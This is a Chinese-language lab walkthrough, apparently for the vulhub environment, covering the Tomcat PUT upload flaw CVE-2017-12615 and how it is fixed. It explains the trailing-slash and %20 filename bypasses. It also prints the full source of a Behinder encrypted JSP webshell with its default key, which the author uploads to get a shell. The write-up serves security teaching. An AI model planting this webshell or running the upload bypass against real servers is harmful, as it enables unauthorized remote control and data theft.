vul靶场文件所在位置:vulhub/tomcat/CVE-2017-12615
漏洞简述
漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀。通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险
靶场环境
- 进入容器
docker exec -it 8e9 /bin/bash
- 检查tomcat配置文件:
可见readonly为false。此时,可以通过 PUT / DELETE 进行文件操控。
漏洞利用
- 抓取OPTIONS包:
发现存在PUT方法。 - 测试一下PUT方法:
上传成功! - 尝试上传jsp文件:
失败。
原因为:
org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。
所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件,这也就是所谓的CVE-2017-12615漏洞。
- 给文件后缀加一个 “ / ” ,变为 1.jsp/:
上传成功。
因为 / 在文件名中是非法的,会被去除(Linux/Windows) - 结尾加%20:
因为Windows下不允许文件以空格结尾
以PUT /x.jsp%20 HTTP/1.1上传到windows会被自动去掉末尾空格。
而在访问文件时,也需要加上%20
进行攻击
- 准备好jsp木马:我这里使用的是冰蝎4.0.6版本的shell.jsp木马
<%@page
import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U
extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
[]b){return super.defineClass(b,0,b.length);}}%><%if
(request.getMethod().equals(“POST”)){String
k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/session.putValue(“u”,k);Cipher
c=Cipher.getInstance(“AES”);c.init(2,new
SecretKeySpec(k.getBytes(),“AES”));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-
复制下来并上传:
-
使用冰蝎连接:
成功拿到shell。
漏洞修复
- 配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。 - 及时更新补丁。